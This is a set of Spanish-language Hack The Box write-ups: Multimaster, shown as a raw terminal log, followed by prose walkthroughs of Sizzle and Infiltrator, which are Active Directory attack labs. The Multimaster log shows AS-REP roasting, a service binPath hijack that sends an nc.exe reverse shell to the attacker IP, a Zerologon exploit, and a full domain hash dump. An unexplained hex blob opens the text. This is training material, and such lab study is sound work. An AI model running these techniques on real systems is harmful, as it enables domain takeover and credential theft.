76252951a489b9eacf3091c6da86873872c573fee255c8cc2ee0544afc2afc553c2c76531592c42935e4249dedb04409ef9594ecb723c8226cac72fa1eec0275c1b62d197bcc78dd3cc82a91664479e8724fb9308461e30a2a5e546b34d367fe52b3abc845ce23d36e419162e9c33e77ceb7fca0aa492f59c4204647b8d33080dc11b90b91b6169029808af527f6c6acb1ccc848e3771a0accbf4c7ba75381be92f112ec08e3758b0d205d2cae74e52eb1d0b78731a0713467cf01bc2adfc19623ac8389a8513965001cfc55b57d11091c90b5c835e7109883e68a83409e9e390924cf18defb21e13cd759ec92a858f926f42e713c52546b0c8c
    ❯ impacket-GetNPUsers -no-pass -usersfile users.txt megacorp.local/ 2>/dev/null
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    ...[snip]...
    [-] User jorden doesn't have UF_DONT_REQUIRE_PREAUTH set
    ...[snip]...
    ❯ bloodyAD --host 10.10.10.179 -d megacorp.local -u 'sbauer' -p 'D3veL0pM3nT!' add uac 'jorden' -f DONT_REQ_PREAUTH
    [-] ['DONT_REQ_PREAUTH'] property flags added to jorden's userAccountControl
    
    ❯ impacket-GetNPUsers -no-pass -usersfile users.txt megacorp.local/ 2>/dev/null
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    ...[snip]...
    $krb5asrep$23$jorden@MEGACORP.LOCAL:23e4403a846d9d192765cf32f4009d69$1ace15eacf503d3b23f5e5f21d3d46da309bb23f7d639d7258344d4f1b64bd9ea8af1e26b484688d83c8acdc605b3171322875257f8d85a909ce4f0f115cac65bb09d55fc73c48ce9897d817fa500cde93d239c3caee33f41d0ad29ca4a5cc67517b1cdf4a51cbee5c181c6e1aae2a79cc5b5b6e304f751fe5c449c7ff0010e66bc65771ce10cdfabdabcfa5d7dd5e973238da23a9b622e68da8b63851e4cfb950c51a53831c0be5268c3c6c7c94e0aad70a5ef93f469fd0cef8d3f3dc20d226066bcfa32ccbdb6ea8def727c054bc9aa12654bdafac4e4542845c0e58efd0225df48264c2559848f1f7dcfe0574c14d
    ...[snip]...
    ❯ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
    ...[snip]...
    $krb5asrep$23$jorden@MEGACORP.LOCAL:23e4403a846d9d192765cf32f4009d69$1ace15eacf503d3b23f5e5f21d3d46da309bb23f7d639d7258344d4f1b64bd9ea8af1e26b484688d83c8acdc605b3171322875257f8d85a909ce4f0f115cac65bb09d55fc73c48ce9897d817fa500cde93d239c3caee33f41d0ad29ca4a5cc67517b1cdf4a51cbee5c181c6e1aae2a79cc5b5b6e304f751fe5c449c7ff0010e66bc65771ce10cdfabdabcfa5d7dd5e973238da23a9b622e68da8b63851e4cfb950c51a53831c0be5268c3c6c7c94e0aad70a5ef93f469fd0cef8d3f3dc20d226066bcfa32ccbdb6ea8def727c054bc9aa12654bdafac4e4542845c0e58efd0225df48264c2559848f1f7dcfe0574c14d:rainforest786
    ...[snip]...
    ❯ nxc smb 10.10.10.179 -u 'jorden' -p 'rainforest786'
    SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
    SMB         10.10.10.179    445    MULTIMASTER      [+] MEGACORP.LOCAL\jorden:rainforest786
    
    ❯ evil-winrm -i 10.10.10.179 -u 'jorden' -p 'rainforest786'
                                            
    Evil-WinRM shell v3.7
                                            
    Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                            
    Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                            
    Info: Establishing connection to remote endpoint
    *Evil-WinRM* PS C:\Users\jorden\Documents> services
    
    Path                                                                                                                 Privileges Service          
    ----                                                                                                                 ---------- -------          
    C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                                                                  True ADWS             
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe                                                           True aspnet_state     
    \??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5EB04B3D-85AE-4574-88FB-F22CF32D39F5}\MpKslDrv.sys       True MpKslDrv         
    "C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER                          True MSSQLSERVER      
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                                                              True NetTcpPortSharing
    C:\Windows\SysWow64\perfhost.exe                                                                                           True PerfHost         
    "C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe"                                                     True SQLBrowser       
    "C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\SQLAGENT.EXE" -i MSSQLSERVER                         True SQLSERVERAGENT   
    "C:\Program Files\Microsoft SQL Server\MSSQL14.MSSQLSERVER\MSSQL\Binn\sqlceip.exe" -Service                                True SQLTELEMETRY     
    "C:\Program Files\Microsoft SQL Server\90\Shared\sqlwriter.exe"                                                            True SQLWriter        
    C:\Windows\servicing\TrustedInstaller.exe                                                                                 False TrustedInstaller 
    "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"                                                     True VGAuthService    
    C:\Program Files\VMWare\VMWare Tools\vmtoolsd.exe                                                                          True VMTools          
    "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\NisSrv.exe"                                              True WdNisSvc         
    "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.1911.3-0\MsMpEng.exe"                                             True WinDefend
    *Evil-WinRM* PS C:\Users\jorden\Documents> upload /usr/share/windows-binaries/nc.exe
                                            
    Info: Uploading /usr/share/windows-binaries/nc.exe to C:\Users\jorden\Documents\nc.exe
                                            
    Data: 79188 bytes of 79188 bytes copied
                                            
    Info: Upload successful!
    
    *Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe config VMTools binPath="C:\Users\jorden\Documents\nc.exe -e cmd 10.10.16.5 443"
    [SC] ChangeServiceConfig SUCCESS
    ❯ rlwrap -cAr nc -nlvp 443
    listening on [any] 443 ...
    *Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe stop VMTools
    
    SERVICE_NAME: VMTools
            TYPE               : 10  WIN32_OWN_PROCESS
            STATE              : 1  STOPPED
            WIN32_EXIT_CODE    : 0  (0x0)
            SERVICE_EXIT_CODE  : 0  (0x0)
            CHECKPOINT         : 0x0
            WAIT_HINT          : 0x0
            
    *Evil-WinRM* PS C:\Users\jorden\Documents> sc.exe start VMTools
    ❯ rlwrap -cAr nc -nlvp 443
    listening on [any] 443 ...
    connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49948
    Microsoft Windows [Version 10.0.14393]
    (c) 2016 Microsoft Corporation. All rights reserved.
    
    C:\Windows\system32>whoami
    whoami
    nt authority\system
    
    C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
    type C:\Users\Administrator\Desktop\root.txt
    b989bf465f20e0******************
    ❯ nxc smb 10.10.10.179 -u 'jorden' -p 'rainforest786' -d megacorp.local -M zerologon
    SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
    SMB         10.10.10.179    445    MULTIMASTER      [+] megacorp.local\jorden:rainforest786 
    ZEROLOGON   10.10.10.179    445    MULTIMASTER      VULNERABLE
    ZEROLOGON   10.10.10.179    445    MULTIMASTER      Next step: https://github.com/dirkjanm/CVE-2020-1472
    ❯ git clone https://github.com/dirkjanm/CVE-2020-1472; cd CVE-2020-1472
    Clonando en 'CVE-2020-1472'...
    remote: Enumerating objects: 41, done.
    remote: Counting objects: 100% (12/12), done.
    remote: Compressing objects: 100% (8/8), done.
    remote: Total 41 (delta 6), reused 4 (delta 4), pack-reused 29 (from 1)
    Recibiendo objetos: 100% (41/41), 23.83 KiB | 903.00 KiB/s, listo.
    Resolviendo deltas: 100% (14/14), listo.
    ❯ python3 cve-2020-1472-exploit.py MULTIMASTER 10.10.10.179
    Performing authentication attempts...
    ======================================================================
    Target vulnerable, changing account password to empty string
    
    Result: 0
    
    Exploit complete!
    
    ❯ secretsdump.py -just-dc-ntlm -no-pass megacorp.local/'MULTIMASTER$'@10.10.10.179 -dc-ip 10.10.10.179
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
    [*] Using the DRSUAPI method to get NTDS.DIT secrets
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:69cbf4a9b7415c9e1caf93d51d971be0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    krbtgt:502:aad3b435b51404eeaad3b435b51404ee:06e3ae564999dbad74e576cdf0f717d3:::
    DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    MEGACORP.LOCAL\svc-nas:1103:aad3b435b51404eeaad3b435b51404ee:fe90dcf97ce6511a65151881708d6027:::
    MEGACORP.LOCAL\tushikikatomo:1110:aad3b435b51404eeaad3b435b51404ee:1c9c8bfd28d000e8904f23c280b25d21:::
    MEGACORP.LOCAL\andrew:1111:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
    MEGACORP.LOCAL\lana:1112:aad3b435b51404eeaad3b435b51404ee:3c3c292710286a539bbec397d15b4680:::
    MEGACORP.LOCAL\alice:1601:aad3b435b51404eeaad3b435b51404ee:19b44ab9ec562fe20b35ddb7c6fc0689:::
    MEGACORP.LOCAL\dai:2101:aad3b435b51404eeaad3b435b51404ee:cb8a655c8bc531dd01a5359b40b20e7b:::
    MEGACORP.LOCAL\svc-sql:2102:aad3b435b51404eeaad3b435b51404ee:3a36abdc15d86766d4cd243d8557e10d:::
    MEGACORP.LOCAL\sbauer:3102:aad3b435b51404eeaad3b435b51404ee:050ba67142895b5844a24d5ce9644702:::
    MEGACORP.LOCAL\okent:3103:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
    MEGACORP.LOCAL\ckane:3104:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
    MEGACORP.LOCAL\kpage:3105:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
    MEGACORP.LOCAL\james:3106:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
    MEGACORP.LOCAL\cyork:3107:aad3b435b51404eeaad3b435b51404ee:06327297532725a64e1edec0aad81cfe:::
    MEGACORP.LOCAL\rmartin:3108:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
    MEGACORP.LOCAL\zac:3109:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
    MEGACORP.LOCAL\jorden:3110:aad3b435b51404eeaad3b435b51404ee:90960176fcbfe36b4a69fafb3cc0b716:::
    MEGACORP.LOCAL\alyx:3111:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
    MEGACORP.LOCAL\ilee:3112:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
    MEGACORP.LOCAL\nbourne:3113:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
    MEGACORP.LOCAL\zpowers:3114:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
    MEGACORP.LOCAL\aldom:3115:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
    MEGACORP.LOCAL\jsmmons:3116:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
    MEGACORP.LOCAL\pmartin:3117:aad3b435b51404eeaad3b435b51404ee:b7c7e43caa54942a2e85d9c8b4074f04:::
    MULTIMASTER$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    [*] Cleaning up... 
    ❯ nxc smb 10.10.10.179 -u 'Administrator' -H '69cbf4a9b7415c9e1caf93d51d971be0'
    SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
    SMB         10.10.10.179    445    MULTIMASTER      [+] MEGACORP.LOCAL\Administrator:69cbf4a9b7415c9e1caf93d51d971be0 (Pwn3d!)
    
    ❯ wmiexec.py megacorp.local/Administrator@10.10.10.179 -hashes :69cbf4a9b7415c9e1caf93d51d971be0 -dc-ip 10.10.10.179
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] SMBv3.0 dialect used
    [!] Launching semi-interactive shell - Careful what you execute
    [!] Press help for extra shell commands
    C:\>whoami
    megacorp\administrator

    Sizzle

    Sizzle es un sistema operativo Windows con un entorno de Active Directory que presenta una dificultad increíble. Un directorio en el que se puede escribir en un recurso compartido SMB permite robar hashes NTLM que se pueden descifrar para acceder al Portal de servicios de certificados. Se puede crear un certificado autofirmado utilizando la CA y utilizarlo para PSRemoting. Un SPN asociado a un usuario permite un ataque kerberoast en el sistema. Se descubre que el usuario tiene derechos de replicación que se pueden utilizar de forma abusiva para obtener hashes de administrador a través de DCSync.

    hashtag
    Reconnaissance

    Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Sizzle.

    Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX.

    Transformaremos el archivo XML obtenido en el resultado de nmap y lo transformaremos en un archivo HTML. Levantaremos un servidor HTTP con Python3.

    Accederemos a y comprobaremos el resultado en un formato más cómodo para su análisis.

    Comprobaremos el nombre del dominio con el cual nos enfrentamos a través del siguiente comando.

    Verificaremos también a qué tipo de máquina nos enfrentamos a través de netexec.

    Procederemos a añadir la entrada en nuestro archivo /etc/hosts

    hashtag
    Web Enumeration

    Procederemos a acceder a el cual contiene un GIF, aparantemente no contiene ningún metadato ni nada extraño.

    Revisaremos las tecnologías que utiliza la aplicación web a través de la herramienta de whatweb.

    Por otra parte, procederemos a realizar una enumeración de posibles directorios del sitio web.

    Procederemos a revisar si podemos hacer (Directory Listing) sobre los directorios que hemos encontrado. Verificamos que nos aparece mensaje de 403 Forbidden.

    hashtag
    FTP Enumeration

    Procederemos a enumerar el servicio de FTP a través del usuario anonymous, verificamos que podemos acceder correctamente pero no dispone de ningún directorio/archivo en el servidor FTP.

    hashtag
    SMB Enumeration

    Revisaremos si el usuario guest se encuentra habilitado y podemos autenticarnos al sevidor SMB. Verificamos que el usuario se encuentra activo y dispone de permisos READ sobre un recurso compartido nombrado (Department Shares).

    Verificaremos a través del módulo de (spider_plus) la estructura de los recursos compartidos, para ver si dispone de algún archivo interesante.

    En este caso, vemos que hay archivos pero ninguno que nos pueda aportar información relevante.

    hashtag
    SCF File Attack for NTLMv2 Hash Stealing

    Uno de los ataques más eficaces en redes SMB es el Hash Stealing utilizando un archivo SCF malicioso. Este tipo de ataque permite interceptar las credenciales NTLMv2 de usuarios conectados a recursos compartidos en un servidor vulnerable.

    Antes de proceder a analizar el recurso SMB, lo primero es montar el recurso en nuestro sistema local. Esto nos permitirá explorar los directorios y sus permisos para comprobar si podemos escribir en alguno de ellos.

    A través del sguiente comando, procederemos a enumerar todos los directorios para buscar si disponemos de permisos de Escritura sobre alguno de ellos.

    Verificamos que hay un recurso llamado "Users/Public" que podríamos probar de realizar el ataque en este recurso.

    Una vez montado el recurso SMB, procederemos a crear un archivo SCF malicioso que redirija las acciones realizadas sobre el recurso SMB hacia nuestro sistema. Este archivo malicioso permitirá interceptar las comunicaciones SMB y posteriormente robar los hashes NTLMv2.

    Una de las maneras que disponemos de realizar el ataque, es montando un servidor SMB en nuestra Kali para recibir el hash NTLMv2.

    Para empezar, subiremos el archivo SCF malicioso en el recurso que podemos escribir (Users/Public) y con el servidor SMB montado, al pasar un tiempo vemos que recibimos el hash NTLMv2 del usuario "amanda".

    Otra de las maneras de realizar el ataque sin tener el servidor SMB montado en nuestro equipo atacante, es mediante el Responder, el cual recibirá el hash NTLMv2.

    Guardaremos el hash NTLMv2 en un archivo TXT y a través de la herramienta de hashcat, procederemos a intentar crackear el hash para obtener la contraseña en texto plano.

    hashtag
    Shell as amanda

    Primero, procederemos a validar si las credenciales obtenidas para el usuario amanda son válidas, y también investigaremos de qué recursos compartidos tenemos permisos.

    Al realizar un escaneo de recursos compartidos SMB en la máquina objetivo (10.10.10.103), observamos que tenemos acceso de READ sobre el recurso compartido llamado CertEnroll. Este recurso es utilizado por los servicios de Active Directory para gestionar certificados, donde se almacenan las solicitudes, plantillas y configuraciones asociadas. Aunque tenemos acceso de solo lectura, podemos intentar aprovechar esta entrada para realizar alguna acción.

    Con las credenciales amanda / Ashare1972, intentamos conectarnos al WinRM, pero descubrimos que la autenticación NTLM no está funcionando correctamente. A pesar de ingresar las credenciales correctamente, el sistema simplemente nos vuelve a solicitar la autenticación, indicando que probablemente esté configurado para requerir un mecanismo de autenticación más seguro.

    Al intentar acceder al servicio WinRM con las credenciales amanda / Ashare1972, nos encontramos con que la autenticación NTLM no funciona correctamente.

    A pesar de ingresar las credenciales correctamente, el sistema simplemente nos vuelve a solicitar la autenticación, como si las credenciales fueran inválidas. Esto ocurre porque el servicio está bloqueado o configurado para requerir un mecanismo de autenticación más seguro.

    hashtag
    Generate Certificate and Key for amanda accessing /certsrv

    Dado que la autenticación NTLM está bloqueada, decidimos investigar el recurso compartido CertEnroll para buscar un servicio alternativo que permita la autenticación. Al explorar el sitio web asociado, encontramos el directorio /certsrv/, que pertenece al servicio de Active Directory Certificate Services (AD CS).

    Utilizamos el escáner gobuster para realizar un barrido del sitio web y verificamos que existe el directorio :

    Intentamos acceder a con las credenciales de la usuaria (amanda@htb.local).

    Verirficamos que logramos ingresar a la página de Microsoft Active Directory Certificate Services (AD CS).

    En la página, observamos que se nos permite solicitar un certificado, eligiendo entre User Certificate o Advanced certificate request. Debemos seleccionar la opción de Advanced certificate request.

    Procedemos a generar un Certificate Signing Request (CSR) con OpenSSL. Este CSR contiene información que enviaremos al servidor para obtener un certificado válido.

    Volvemos al sitio /certsrv/ y pegamos el contenido del CSR en el formulario de solicitud.

    El servidor nos ofrece el certificado en formato Base64. Seleccionamos la opción de Download certificate para descargar el certificado correspondiente al usuario amanda.

    Revisaremos que disponemos de los archivos CSR, KEY y CER de los certificados que hemos generado.

    Ahora, con el certificado descargado, procedemos a autenticar al usuario amanda utilizando WinRM. Reemplazamos las credenciales tradicionales con el certificado, lo que nos permite acceder correctamente al equipo:

    hashtag
    BloodHound Enumeration

    Dado que disponemos de credenciales válidas de un usuario del dominio, procederemos a realizar una enumeración a través de BloodHound en buscar de vectores para elevar nuestros privilegios.

    Al enumerar en BloodHound, verificamos que hay un usuario que es Kerberoastable, por lo tanto, es susceptible a realizar un Kerberoasting Attack.

    hashtag
    Initial Access

    hashtag
    Kerberoasting Attack (GetUserSPNs) - [FAILED]

    Dado que hemos visto que existe un usuario susceptible al Kerberoasting Attack, procederemos a intentar a realizar el ataque a través de la herramienta GetUserSPNs, verificamos que no nos reporta ningún resultado.

    Esto es debido seguramente a que el Kerberos no se encuentra expuesto, deberemos de buscar otra manera de explotar este ataque.

    hashtag
    Kerberoasting Attack (Rubeus)

    Dado que disponemos de acceso a la máquina víctima (Domain Controller), podemos de probar de realizar el Kerberoasting Attack a través de la herramienta de Rubeus.exe.

    Procederemos a intentar subir el binairo del Rubeus.exe y en nuestro caso no nos permite la subida directamente con el comando "upload" que nos poporciona evil-winrm.

    Probaremos de levantar un servidor web con Python y a descargar el archivo a través de IWR, verificamos que el binario se ha descargado correctamente en el equipo víctima.

    Al intentar ejecutar el binario en la ruta (C:\Temp), nos aparece un eror indicando que se ha bloqueado la ejecución debido a una política, muy probablemente debido al AppLocker.

    A través del siguiente comando, revisaremos la política del AppLocker y verificamos que hay una excepción en los directorios que se encuentran dentro de (WinDir).

    Otra de las maneras para evitar la restricción del AppLocker, es mediante las siguientes rutas que nos encontramos en el siguiente repositorio de GitHub.

    En nuestro caso, hemos optado por crear un directorio en (C:\Windows\Temp), moveremos el binario a este nuevo directorio creado.

    Una vez obtenido el binario en este nuevo directorio, al realizar el ataque, verificamos que hemos conseguido el TGS (Ticket Granting Service) del usuario (mrlky@htb.local).

    hashtag
    Performing a port forwarding to perform a Kerberoasting attack (Chisel && GetUserSPNs)

    A continuación, veremos otra de las maneras efectivas de explotar este ataque mediante Port-Forwarding.

    Dado que el puerto 88 (Kerberos) no se encuentra expuesto en el equipo víctima y con la herramienta de impacket-GetUserSPNs al principio no pudimos efectuar el ataque, el objetivo será realizar el Port-Forwarding del puerto 88 (Kerberos) y 389 (LDAP) del Domain Controller para que se encuentren accesibles desde nuestro equipo local de atacante.

    Para ello, pasaremos el binario del chisel.exe al equipo víctima, configuraremos el chisel en sevidor en la máquina Kali y cliente en el equipo Windows, haremos que el Kerberos y LDAP sean accesibles por los mismos puertos pero desde nuestro equipo de atacante.

    Revisaremos que en nuestro equipo, los puertos 88 (Kerberos) y 389 (LDAP) se encuentran accesibles correctamente a través de chisel.

    Pocederemos de realizar nuevamente el ataque mediante la herramienta de impacket-GetUserSPNs al localhost (127.0.0.1) y verificamos que ahora si hemos podido realizar el ataque desde la máquina Kali y hemos obtenido el TGS (Ticket Granting Service).

    Al obtener el TGS; pocederemos a crackearlo con hashcat y verificamos que hemos logrado obtener la contraseña en texto plano del usuario mrlky@htb.local.

    Validaremos que las credenciales de este usuario son válidas y de los recursos que tiene acceso dicho usuario.

    hashtag
    Privilege Escalation

    Revisando nuevamente en BloodHound, verificamos que este nuevo usuario dispone de permisos de DCSync sobre el dominio.

    Este permiso habilita al usuario a extraer los hashes NTLM de todos los usuarios del dominio, lo que facilita ataques como Pass-The-Hash, permitiendo el acceso a servicios y equipos sin necesidad de conocer las credenciales en texto plano de los usuarios del dominio, incluyendo a los usuarios que sean Domain Admins.

    hashtag
    DCSync Attack (secretsdump)

    Procederemos a realizar el ataque de DCSync Attack mediante la herramienta de secretsdump.

    Verificamos que hemos logrado obtener todos los hashes NTLM de los usuarios del dominio, incluyendo las del usuario Administrator.

    Validaremos que podemos autenticarnos mediante Pass-The-Hash con el hash NTLM del usuario Administrator.

    Procederemos a conectarnos al Domain Controller mediante la herramienta de wmiexec realizando Pass-The-Hash.

    Verificamos del acceso correctamente y de la flag de root.txt.

    http://localhostarrow-up-right
    https://sizzle.htb.localarrow-up-right
    https://sizzle.htb.local/certsrv/arrow-up-right
    https://sizzle.htb.local/certsrv/arrow-up-right
    Generic AppLocker ByPassesarrow-up-right

    Infiltrator


    hashtag
    Reconnossaince

    Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Infiltrator. Este resultado lo almacenaremos en un archivo llamado allPorts.

    A través de la herramienta de extractPortsarrow-up-right, la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.

    Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. Verificamos a través del resultado obtenido de que la máquina se trata de un Domain Controller (DC) por los puertos y servicios que se encuentran expuestos.

    Procederemos a transformar el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.

    Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.

    A través de la herramienta de netexec y ldapsearch procederemos a enumerar el equipo para localizar más información. Entre la información obtenida, verificamos el hostname, versión del SO y el nombre del dominio.

    Procederemos a añadir en nuestro archivo /etc/hosts las entradas correspondientes para que a la hora de hacer referencia al dominio o el equipo nos responda correctamente a la dirección IP del equipo.

    Por otro lado, para trabajar con el protocolo de Kerberos y no tener problemas durante la explotación de la máquina, deberemos de sincronizar nuestro reloj con la del Domain Controller.

    Además, deberemos de informar en el archivo /etc/resolv.conf la dirección IP del DC para no tener problemas posteriormente.

    hashtag
    Web Enumeration

    Nuestro primer objetivo será la página web de , en la cual a simple vista no vemos ningún dato interesante que nos pueda servir.

    hashtag
    Information Leakage

    Revisando en el apartado de About, verificamos que aparecen nombres de los empleados. Esta información nos puede servir.

    Guardaremos los nombres completos de los empleados que aparecían en la página. A través del script de namenash.py procederemos a crear un listado de usuarios a través del listado de empleados que disponemos.

    A través de la herramienta de Kerbrute, enumeraremos el listado de usuarios que nos ha generado el script anterior. En el resultado obtenido, verificamos que de los 78 usuarios posibles que teníamos, solamente 7 usuarios son válidos a nivel de dominio.

    Procederemos a guardarnos los usuarios válidos del dominio en el archivo users.txt.

    hashtag
    AS-REP Roast Attack (GetNPUsers)

    Dado que disponemos de un listado potencial de usuarios, realizaremos el ataque de AS-REP Roast Attack. Al realizar el ataque revisará si alguno de los usuarios que disponemos dispone de la flag (DONT_REQ_PREAUTH) de Kerberos, para así obtener un hash TGT (Ticket Granting Ticket) que posteriormente podremos intentar crackear.

    En este caso, verificamos que hemos logrado obtener el hash TGT del usuario l.clark@infiltrator.htb, este hash lo almacenaremos en un archivo.

    Intentaremos crackear el hash obtenido a través de la herramienta hashcat, en este caso, logramos obtener la contraseña en texto plano del usuario l.clark@infiltrator.htb.

    Verificaremos a través de la herramienta nxc de validar las credenciales obtenidas, comprobamos que son válidas para dicho usuario.

    hashtag
    LDAP Enumeration (ldapdomaindump)

    Dado que disponemos de credenciales válidas, procederemos a realizar una enumeración de LDAP a través de la herramienta de ldapdomaindump.

    Al revisar el archivo domain_users, verificamos el listado de usuarios del dominio. También notamos que el usuario k.turner@infiltrator.htb en su campo Description aparece lo que parece ser una contraseña.

    Probaremos de validar si esas credenciales encontradas en el LDAP son válidas para el usuario. Verificamos que no podemos autenticarnos con estas credenciales, alomejor nos pueden servir para más adelante...

    hashtag
    NTLM is disabled? Testing Kerberos authentication

    Al realizar un Password Spraying de una de las credenciales que disponemos, verificamos que en dos cuentas nos aparece el mensaje de STATUS_ACCOUNT_RESTRICTION, lo cual nos llama bastante la atención.

    Al volver a ejecutar el mismo comando anterior pero indicando que se autentique mediante Kerberos y no NTLM, verificamos que las credenciales también son válidas para el usuario d.anderson@infiltrator.htb.

    Esto nos lleva a la siguiente pregunta: es posible que la autenticación NTLM esté deshabilitada para algunos usuarios, por ese motivo nos marca como STATUS_ACCOUNT_RESTRICTION.

    Si realizamos nuevamente el Password Spraying desde la herramienta de Kerbrute, verificamos que obtenemos el mismo resultado anterior.

    Validaremos que con el usuario d.anderson@infiltrator.htb a través de autenticación NTLM no podemos autenticarnos, en cambio, a través de la autenticación de Kerberos si.

    Procederemos a solicitar un TGT (Ticket Granting Ticket) para el usuario, para poder utilizarlo para autenticarnos con este usuario. El ticket obtenido d.anderson.ccache lo almacenaremos en la variable KRB5CCNAME y verificaremos a través de klist -e de que el ticket TGT está correctamente configurado.

    hashtag
    BloodHound Enumeration

    A continuación, realizaremos una enumeración del dominio entero a través de BloodHound. El siguiente comando nos creará un archivo .zip el cual contendrá toda la información del dominio. Lo que buscamos en realizar esta enumeración es buscar posibles vectores de ataque para escalar nuestros privilegios.

    En este caso hemos utilizado al usuario d.anderson y nos autenticamos mediante Kerberos -k, pero podríamos haber utilizado el usuario l.clark dado que esta usuaria se puede autenticar mediante NTLM.

    Revisando en BloodHound, verificamos que solamente el usuario Administrator es un Domain Admin.

    Verificando posibles vías potenciales para escalar nuestros privilegios actuales, nos encontramos con el siguiente path que parece ser el más adecuado para llegar a conectarnos al Domain Controller.

    hashtag
    Initial Access

    hashtag
    Abuse of GenericAll privileges on an OU to gain full control of objects

    Verificamos que el usuario que disponemos actualmente, dispone de privilegios GenericAll sobre la Organizational Unit (OU) llamada MARKETING DIGITAL.

    Esto indica que tiene el control total sobre la OU, un privilegio peligroso debido que podemos tener el control total de esta OU y de los objetos que se encuentren en esta misma.

    A través de la herramienta de bloodyAD nos convertimos en propietarios de la OU y nos otorgamos permisos de genericAll para tener control de la OU y de los objetos que se encuentren en esta.

    En un principio, deberíamos de disponer de control sobre los objetos que se encuentren en esta OU. Durante el proceso al tratar de modificar algún objeto que se encontraba en esta nos indicaba que no disponíamos de privilegios suficientes.

    Realizando una búsqueda nos encontramos con el siguiente blog, el cual nos indica que para tener un control total sobre las Organizational Units (OUs) debíamos de modificar el siguiente DACL.

    A través del primer comando, nos proporcionamos el control total de la OU y objetos que se encuentran en esta misma y mediante el segundo comando verificamos que el paso anterior se haya realizado correctamente.

    Volviendo a revisar en el BloodHound, verificamos que en la OU MARKETING DIGITAL se encontraba el usuario e.rodriguez@infiltrator.htb.

    Por lo tanto, dado que nos hemos otorgado el control total sobre la OU y los objetos secundarios, por ende, deberíamos de tener control total con el usuario d.anderson@infiltrator.htb sobre el usuario e.rodriguez@infiltrator.htb.

    A través de bloodyAD realizamos el cambio de contraseña del usuario mencionado. Posteriormente a través de nxc,verificamos que el cambio se realizó correctamente.

    hashtag
    Abusing AddSelf privileges to add myself on a group

    Revisando nuevamente en la ruta que encontramos en BloodHound, verificamos que el usuario que disponemos actualmente tiene permisos de AddSelf sobre el grupo CHIEFS MARKETING.

    Por lo tanto, el usuario dispone de permisos para añadirse a sí mismo al grupo mencionado.

    Lo primero de todo será solicitar un TGT (Ticket Granting Ticket) del usuario e.rodriguez@infiltrator.htb. Almacenaremos el ticket TGT en la variable KRB5CCNAME y validaremos que esté correctamente configurada.

    A través de bloodyAD, nos añadiremos a nosotros mismos al grupo CHIEFS MARKETING. Verificamos que nos aparece que nos hemos añadido correctamente a través de ldapsearch.

    hashtag
